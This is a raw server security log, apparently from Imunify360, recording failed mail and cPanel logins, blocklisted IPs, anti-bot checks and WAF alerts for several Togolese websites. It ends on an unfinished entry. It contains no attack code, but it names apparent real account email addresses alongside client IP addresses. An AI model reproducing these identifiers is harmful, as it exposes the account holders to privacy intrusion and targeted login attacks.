Jun 12 09:21:50 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.138.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-06-12 09:21:52 dovecot_login authenticator failed for H=([49.124.152.14]) [65.20.138.3]:37059: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.56
country_id: 2921044
description:
185.220.101.56 - libertepansel [12/Jun/2026:09:22:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792621&pdata=https%253A%252F%252Flibertetogo.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781256161 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.56


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.162
country_id: 3469034
description:
Jun 12 09:22:58 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.162 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.26.175
country_id: 2635167
description:
[2026-06-12 09:22:34 +0000] info [cpaneld] 195.63.26.175 - newglevfer "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.199
country_id: 3865483
description:
Jun 12 09:22:35 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.161.234.118
country_id: 2921044
description:
2026-06-12 09:26:03 dovecot_plain authenticator failed for H=(2krdhm14iqct12cg8uja1gkbpnbyfx) [147.161.234.118]:22527: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:26:14 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:26:26 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.10.146
country_id: 2287781
description:
2026-06-12 09:27:02 dovecot_login authenticator failed for H=(ELISABETH) [102.207.10.146]:20864: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:30:05 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:33:03 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17676: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.40.88
country_id: 1880251
description:
43.156.40.88 - - [12/Jun/2026:09:33:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7171438&pdata=https%253A%252F%252Ftogodailynews.tg%252Fnotions-et-valeurs-de-la-paix-johaness-makouvia-outille-plus-de-1300-jeunes-tchadiens%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781256787 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/notions-et-valeurs-de-la-paix-johaness-makouvia-outille-plus-de-1300-jeunes-tchadiens/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.40.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.123.101.146
country_id: 1269750
description:
Jun 12 09:32:21 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.123.101.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.101.146
country_id: 1269750
description:
2026-06-12 09:32:23 dovecot_login authenticator failed for H=(101.57.223.222.broad.cz.he.dynamic.163data.com.cn) [27.123.101.146]:51746: 535 Incorrect authentication data (set_id=info@matosshop.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:34:03 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17681: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:35:10 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17684: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:36:09 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17685: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:37:11 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:09:37:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19022326 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 14.225.208.202
country_id: 1562822
description:
14.225.208.202 - - [12/Jun/2026:09:36:58 +0000] "HEAD /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/1.1" 404 0 direct7.tg "-" "Go-http-client/1.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.225.208.202


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:37:25 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:17686: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 128.90.59.80
country_id: 294640
description:
128.90.59.80 - - [12/Jun/2026:09:37:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:128.90.59.80


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:37:20 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 14.225.208.202
country_id: 1562822
description:
14.225.208.202 - - [12/Jun/2026:09:38:53 +0000] "HEAD /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=28031578 HTTP/1.1" 404 0 direct7.tg "-" "Go-http-client/1.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.225.208.202


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:38:20 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:9475: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:39:30 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:9478: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.119.64.180
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.119.64.180
country_id: 3686110
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:40:41 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:9472: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.107.226.253
country_id: 3865483
description:
Jun 12 09:41:29 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.107.226.253 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 9.169.121.185
country_id: 6252001
description:
9.169.121.185 - - [12/Jun/2026:09:43:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9793693&pdata=https%253A%252F%252Fucao-uut.tg%252Fformation-recherche%252Fdiplomes%252Flicence-gestion%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781257431 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/formation-recherche/diplomes/licence-gestion/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.163 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:9.169.121.185


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.245
country_id: 3469034
description:
Jun 12 09:45:15 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.245
country_id: 3469034
description:
Jun 12 09:45:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.245 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:09:45:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21664900 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.255
country_id: 2921044
description:
2026-06-12 09:45:48 dovecot_plain authenticator failed for H=tor-exit-4.zbau.f3netze.de (zsbimoljv4y8d42eboifpj3fde8rl) [185.220.100.255]:39846: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:46:15 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:8064: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.236.43.254
country_id: 1814991
description:
Jun 12 09:47:13 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.236.43.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:47:13 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.236.43.254
country_id: 1814991
description:
2026-06-12 09:47:15 dovecot_login authenticator failed for H=([179.181.135.1]) [116.236.43.254]:47936: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:47:17 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:5760: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:47:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:48:27 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18560: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.43
country_id: 798544
description:
Jun 12 09:49:09 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.43
country_id: 798544
description:
Jun 12 09:49:22 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.65.238.7
country_id: 3469034
description:
Jun 12 09:49:23 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.65.238.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:49:37 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:15232: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:50:07 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:50:37 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4608: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:09:51:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=24941068 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:51:38 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:9216: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [12/Jun/2026:09:51:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=28031578 HTTP/1.1" 404 561 direct7.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.162
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:52:48 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:15104: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.174
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:53:50 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:5248: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:54:52 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4152: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.229
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.231
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.236
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 09:56:07 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.230
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.237
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.24
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.243
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 72.52.98.74
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:55:53 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18660: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.226
country_id: 6252001
domain: ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ciieeinternational.org/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.239
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:56:52 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18675: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.217.135
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:38.154.217.135||TA:38.154.217.135||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.4.248
country_id: 6252001
domain: www.ciieeinternational.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ciieeinternational.org/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.231.71
country_id: 2363686
description:
[2026-06-12 09:57:53 +0000] info [webmaild] 196.170.231.71 - agencekpalime@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:57:55 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18625: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:58:55 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18552: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 10:00:06 ns5 auth[1356106]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.201.58
country_id: 2363686
description:
[2026-06-12 09:59:47 +0000] info [webmaild] 196.168.201.58 - wiyao.g@inger.tg "POST /cpsess8647324718/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.168.125.153] != Current IP Address [196.168.201.58]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 09:59:57 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:18599: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:00:56 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4109: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:01:58 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4112: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.83.148.205
country_id: 3017382
description:
212.83.148.205 - - [12/Jun/2026:10:01:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130541&pdata=http%253A%252F%252Ftensai.tg%252Fwp-admin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781258492 HTTP/1.1" 302 0 tensai.tg "http://tensai.tg/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.83.148.205


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:02:59 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4115: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:04:10 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:51988: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.80.74
country_id: 2363686
description:
[2026-06-12 10:04:52 +0000] info [webmaild] 154.70.80.74 - koudjramey.akua@cloud-et-racks.tg "GET /cpsess1647434989/webmail/jupiter/index.html?mailclient=none HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:05:06 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:56045: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.91.184.137
country_id: 2750405
domain: 24heureinfo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.0.0 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.246
country_id: 2363686
description:
2026-06-12 10:06:12 dovecot_login authenticator failed for H=(Yoga) [102.64.145.246]:59371: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
2026-06-12 10:07:01 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.146]:4121: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.175.39.43
country_id: 3017382
description:
91.175.39.43 - - [12/Jun/2026:10:06:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790043&pdata=https%253A%252F%252Ftogodailynews.tg%252Fvisite-du-chef-de-letat-au-kazakhstan-partage-dexperiences-entre-lome-et-astana-2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781258816 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/visite-du-chef-de-letat-au-kazakhstan-partage-dexperiences-entre-lome-et-astana-2/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.7240.1955 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.175.39.43


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.146
country_id: 2287781
description:
